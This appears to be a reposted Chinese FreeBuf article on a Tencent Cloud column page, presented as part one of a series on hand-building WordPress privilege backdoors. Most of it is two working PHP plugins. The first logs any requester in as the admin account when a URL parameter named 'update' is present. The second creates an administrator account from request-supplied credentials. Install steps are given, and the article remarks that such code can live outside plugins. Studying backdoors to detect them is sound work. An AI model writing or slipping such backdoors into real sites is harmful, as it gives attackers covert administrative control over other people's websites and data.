前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >权限后门系列之一:手动打造WordPress权限后门

权限后门系列之一:手动打造WordPress权限后门

作者头像
FB客服
发布2018-02-24 17:28:00
1K0
发布2018-02-24 17:28:00
举报
文章被收录于专栏:FreeBufFreeBuf

权限后门是最容易被管理员忽视的环节,通常需要对系统进行全面检查才能发现。本文以Wordpress为例,介绍两种新型的后门方式。

方案1 - 自动登录管理员账号

这种方案较为隐蔽,我们只要找到一个管理员账号,调用Wordpress API,实现自动登录即可。

在测试环境中,我们只有 admin 一个账号。为了登录这个admin 账号,我们需要进行如下操作

代码语言:javascript
复制
// 当带有 "update" 字样时就执行后门
if (! isset ($_GET['update']))
{
     return;
}

$user = get_user_by('login', 'admin');
if (! is_wp_error($user))
{
    // 清空当前认证信息
    wp_clear_auth_cookie();
    // 设置管理员的认证信息
    wp_set_current_user($user->ID);
    wp_set_auth_cookie($user->ID);
    // 跳转到管理后台
    wp_safe_redirect(user_admin_url());

    exit();
}

我们登录服务器,将插件释放在 wp-content/plugins/001-autologin.php,并激活插件,e.g

激活后,就可以成功登录了。这里为了方便演示,用的cURL命令

方案2 - 创建管理账号

这个方法会根据用户输入的账号和密码,创建管理员账号。我们编写如下插件,安装到 Wordpress 里,

代码语言:javascript
复制
$__username = @$_REQUEST['__username'];
$__password = @$_REQUEST['__password'];

if (! isset ($__username) || ! isset ($__password) || username_exists ($__username))
{
    return;
}

// 创建用户
$user = wp_create_user($__username, $__password, "root@localhost.localdomain");
if (! is_wp_error($user))
{
    $user = get_user_by('login', $__username);
    // 设置为管理员角色
    $user->set_role('administrator');
    exit();
}

激活插件后,我们触发一下

使用刚刚提交的账号密码,aka hello:world 登录,发现管理员账号已经添加成功了:

写在最后

本文只是以Wordpress插件为例,讲解如何实现后门机制,后门代码并不一定放在插件里。至于如何隐藏后门,本文不再赘述。

完整的测试代码可以在这里下载:https://rasp.baidu.com/download/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-12-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 方案1 - 自动登录管理员账号
  • 方案2 - 创建管理账号
  • 写在最后
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档